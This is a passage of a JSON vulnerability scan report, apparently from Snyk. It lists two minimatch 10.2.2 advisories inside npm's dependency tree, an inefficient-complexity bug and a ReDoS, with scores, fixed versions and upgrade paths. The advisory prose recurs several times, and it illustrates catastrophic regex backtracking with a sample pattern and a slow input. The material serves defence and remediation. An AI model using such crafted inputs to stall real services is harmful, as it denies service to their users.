"cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": 